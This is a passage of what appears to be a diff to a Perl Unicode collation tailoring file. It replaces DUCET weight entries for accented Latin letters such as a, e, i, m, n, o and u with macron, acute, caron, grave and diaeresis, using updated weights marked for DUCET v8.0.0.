A WITH CARON -0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON -01CD ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -00E0 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -00C0 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0113 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0112 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -00E9 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -00C9 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -011B ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -011A ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -00E8 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -00C8 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -00EA 0304 ; [.1CAA.0021.0002] # -00CA 0304 ; [.1CAA.0021.0008] # -0065 0302 0304 ; [.1CAA.0021.0002] # -0045 0302 0304 ; [.1CAA.0021.0008] # -1EBF ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -1EBE ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -00EA 0301 ; [.1CAA.0022.0002] # -00EA 0341 ; [.1CAA.0022.0002] # -00CA 0301 ; [.1CAA.0022.0008] # -00CA 0341 ; [.1CAA.0022.0008] # -00EA 030C ; [.1CAA.0023.0002] # -00CA 030C ; [.1CAA.0023.0008] # -0065 0302 030C ; [.1CAA.0023.0002] # -0045 0302 030C ; [.1CAA.0023.0008] # -1EC1 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -1EC0 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -00EA 0300 ; [.1CAA.0024.0002] # -00EA 0340 ; [.1CAA.0024.0002] # -00CA 0300 ; [.1CAA.0024.0008] # -00CA 0340 ; [.1CAA.0024.0008] # -00EA ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -00CA ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -1EC5 ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE -1EC4 ; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE -1EC3 ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC2 ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC7 ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1EC6 ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW -012B ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -012A ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -00ED ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -00CD ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -01D0 ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -01CF ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -00EC ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -00CC ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -006D 0304 ; [.1DAA.001C.0002] # -004D 0304 ; [.1DAA.001C.0008] # -1E3F ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -1E3E ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -006D 030C ; [.1DAA.001E.0002] # -004D 030C ; [.1DAA.001E.0008] # -006D 0300 ; [.1DAA.001F.0002] # -006D 0340 ; [.1DAA.001F.0002] # -004D 0300 ; [.1DAA.001F.0008] # -004D 0340 ; [.1DAA.001F.0008] # -006E 0304 ; [.1DB9.001C.0002] # -004E 0304 ; [.1DB9.001C.0008] # -0144 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -0143 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -0148 ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -0147 ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -01F9 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -01F8 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -014D ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -014C ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -00F3 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -01D2 ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -01D1 ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -00F2 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -00D2 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0340 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -016B ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -016A ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -00FA ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -00DA ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -01D4 ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -01D3 ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -00F9 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -00D9 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -01D6 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -00FC 0304 ; [.1EB5.0021.0002] # -00DC 0304 ; [.1EB5.0021.0008] # -01D8 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -00FC 0301 ; [.1EB5.0022.0002] # -00FC 0341 ; [.1EB5.0022.0002] # -00DC 0301 ; [.1EB5.0022.0008] # -00DC 0341 ; [.1EB5.0022.0008] # -01DA ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -00FC 030C ; [.1EB5.0023.0002] # -00DC 030C ; [.1EB5.0023.0008] # -01DC ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -00FC 0300 ; [.1EB5.0024.0002] # -00FC 0340 ; [.1EB5.0024.0002] # -00DC 0300 ; [.1EB5.0024.0008] # -00DC 0340 ; [.1EB5.0024.0008] # -00FC ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS + entry => <<'ENTRY', # for DUCET v8.0.0 +0101 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0100 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +00E1 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +00C1 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +01CE ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +01CD ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +00E0 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +00C0 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0113 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0112 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +00E9 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +00C9 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +011B ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +0065 030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +011A ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +00E8 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +00C8 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +00EA 0304 ; [.1C25.0021.0002] # +00CA 0304 ; [.1C25.0021.0008] # +0065 0302 0304 ; [.1C25.0021.0002] # +0045 0302 0304 ; [.1C25.0021.0008] # +1EBF ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +1EBE ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +00EA 0301 ; [.1C25.0022.0002] # +00EA 0341 ; [.1C25.0022.0002] # +00CA 0301 ; [.1C25.0022.0008] # +00CA 0341 ; [.1C25.0022.0008] # +00EA 030C ; [.1C25.0023.0002] # +00CA 030C ; [.1C25.0023.0008] # +0065 0302 030C ; [.1C25.0023.0002] # +0045 0302 030C ; [.1C25.0023.0008] # +1EC1 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +1EC0 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +00EA 0300 ; [.1C25.0024.0002] # +00EA 0340 ; [.1C25.0024.0002] # +00CA 0300 ; [.1C25.0024.0008] # +00CA 0340 ; [.1C25.0024.0008] # +00EA ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +00CA ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +1EC5 ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE +1EC4 ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE +1EC3 ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC2 ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC7 ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1EC6 ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW +012B ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +012A ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +00ED ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +00CD ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +01D0 ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +01CF ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +00EC ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +00CC ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +006D 0304 ; [.1D25.001C.0002] # +004D 0304 ; [.1D25.001C.0008] # +1E3F ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +1E3E ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +006D 030C ; [.1D25.001E.0002] # +004D 030C ; [.1D25.001E.0008] # +006D 0300 ; [.1D25.001F.0002] # +006D 0340 ; [.1D25.001F.0002] # +004D 0300 ; [.1D25.001F.0008] # +004D 0340 ; [.1D25.001F.0008] # +006E 0304 ; [.1D34.001C.0002] # +004E 0304 ; [.1D34.001C.0008] # +0144 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +0143 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +0148 ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +0147 ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +01F9 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +01F8 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +014D ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +014C ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +00F3 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +01D2 ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +01D1 ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +00F2 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +00D2 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +016B ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +016A ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +00FA ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +00DA ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +01D4 ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON +0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U 